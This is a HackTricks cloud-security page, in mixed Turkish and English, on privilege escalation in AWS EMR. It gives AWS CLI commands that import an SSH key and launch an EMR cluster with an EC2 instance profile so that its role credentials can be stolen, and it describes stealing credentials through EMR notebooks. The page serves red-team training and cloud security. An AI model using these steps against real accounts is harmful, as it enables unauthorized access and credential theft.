AWS - EMR Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

EMR

Daha fazla info about EMR için:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Bu izinlere sahip bir saldırgan, run a new EMR cluster attaching EC2 roles yaparak kimlik bilgilerini çalmayı deneyebilir.
Bu işlemi gerçekleştirmek için hesabınızda import edilmiş bazı anahtarları know some ssh priv key imported in the account bilmeniz ya da bir tane import etmeniz ve master node’da open port 22 in the master node yapabilmeniz gerekir (bunu --ec2-attributes içindeki EmrManagedMasterSecurityGroup ve/veya ServiceAccessSecurityGroup öznitelikleriyle yapabilirsiniz).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Note edin: EMR role’ün --service-role içinde ve ec2 role’ün InstanceProfile içindeki --ec2-attributes içinde belirtildiğine dikkat edin. Ancak bu teknik yalnızca EC2 role kimlik bilgilerini çalmaya izin verir (çünkü ssh ile bağlanacaksınız), EMR IAM Role’ünü çalmaz.

Potential Impact: Belirtilen EC2 service role’a privesc

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Bu izinlerle bir saldırgan AWS console’a gidip bir Notebook oluşturabilir ve ona erişerek IAM Role’u çalabilir.

Caution

Testlerimde notebook instance’ına bir IAM role iliştirmiş olsam bile, AWS managed credentials’leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim.

Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc

elasticmapreduce:OpenEditorInConsole

Sadece bu izin ile bir saldırgan Jupyter Notebook’a erişip ona bağlı IAM role’u çalabilir.
Notebook’un URL’si https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Caution

Testlerimde notebook instance’ına bir IAM role iliştirmiş olsam bile, AWS managed credentials’leri çalabildiğimi; IAM role ile ilişkili kimlik bilgilerini değil, fark ettim.

Potential Impact: AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile için privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin